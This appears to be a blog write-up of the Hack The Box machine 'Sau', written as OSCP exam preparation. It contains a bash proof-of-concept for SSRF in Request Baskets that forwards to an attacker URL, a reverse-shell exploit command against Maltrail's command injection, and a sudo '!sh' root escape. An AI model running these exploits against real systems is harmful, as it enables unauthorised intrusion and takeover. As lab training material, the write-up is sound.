OSCP PREP BOX 1: HtB Sau

Key Takeaways Summary:

·         Blanket running shell upgrades can sometimes interfere with exploits!

·         Pay attention to what exploits are actually doing. Don’t be in a rush to run a .sh or .py without knowing what it’s actually doing.

·         A quick command for credentialed user enum: cat /etc/passwd | grep $sh

 

Sau was an easy level machine which actually presented a bit of a challenge for me.

In rock climbing there’s a term that’s used called the crux. The crux is the peak “problem” of a climb, the most technical and difficult part of a route.

To start, we run a normal nmap scan which shows that we have the following ports open/filtered:

So from here I navigated to the HTTP on port 55555 (I tested out trying ports 80 and 8338 as well just to see, but they’re blocked).

Once I got onto http://10.129.246.182:55555/ I saw that it was hosted by a service called Request Baskets. I have NEVER seen this before so I had to do a bunch of Googling.

In short, Request-Baskets is basically an app that helps developers analyze how their applications are working by using “baskets” which can capture and forward requests.

Since this is an easy box.. they were very gracious in giving us the version on the bottom of the web page.

I just googled around “Request-Baskets Exploit Poc” which took me to a bunch of github repos. This is where the struggle really began..

I must have ran 10 different exploit codes, trying everything to get them to work. This is where the key takeaway point really comes in. Too often I come across easy PoC’s which are just paste and go exploits but it’s really important to understand what we’re actually doing with the exploits we’re running. So, one of the exploit codes I found was:

#!/usr/bin/bash

if [ "$#" -ne 2 ]; then
    echo "usage: $0 <target_url> <attacker_url>"
    exit 1
fi

target="${1%/}/"
attacker="${2%/}/"

basket="old"

echo -e "\033[1;92m[inf] creating a new basket..\033[0m"

curl -X POST -lvk -d '{"forward_url": "'"$attacker"'","proxy_response": true,"insecure_tls": false,"expand_path": true,"capacity": 250}' -H 'Content-Type: application/json' $target"api/baskets/$basket"


echo -e "\n\n\033[1;92m[inf] accessing the basket..\033[0m"

curl -v $target$basket

When you look at what it’s doing, it starts off setting up the usage, then it establishes variables for the target and attacker, names a basket, and then creates a string with the echo command, then uses all of those variables in a curl request.

The PoC tells you to run a netcat listener and so I did.

So I ran that and it worked. But I didn’t know what it was doing, not really. I got a response on my netcat listener but what was this really doing?

See the interesting thing is the last part of this exploit code where it’s now making a curl request to the “target” variable and the basket name.

I started poking around on the physical site and noticed that the POST request options were actually in the basket options.

Kind of a spoiler here, but I just used the options from the exploit code (proxy response true, insecure TLS false, etc) and put my kali IP and netcat port in. I clicked apply and then I browsed to http://10.129.246.182/gs3ce5f like the curl request in the PoC did for the last step. And then I saw that request again on my netcat listener.

Now, what if we put (as you can see in the pic above) the URL for the web server on port 80 into the forward URL and then again browsed to http://10.129.246.182/gs3ce5f.

When we do that, we get access to the site!

So none of the links really work too well, but when we run inspector we can see that we get Malltrail v0.53. A quick Google search of that and we get a RCE command injection vulnerability. And now here’s where copy and paste exploit, script kiddie heaven comes into play..

All you have to do is start a netcat listener on 4444 and run:

python3 exploit.py 10.10.14.144 4444 http://10.129.246.182:55555/gs3ce5f

And boom! We have our unprivileged session.

From here we can grab our user flag.

The priv esc from here is pretty simple and it’s actually one of the techniques covered in the eJPT for Linux Priv Esc.

We run sudo -l and we see this:

As you can see, we run the command in sudo, then we just run “!sh” which then launches us into our session as root!

Easy peasy.

Box 1 in the books. 99 to go.







Previous
Previous

OSCP PREP BOX 2: HtB Help

Next
Next

HTB - Legacy Walkthrough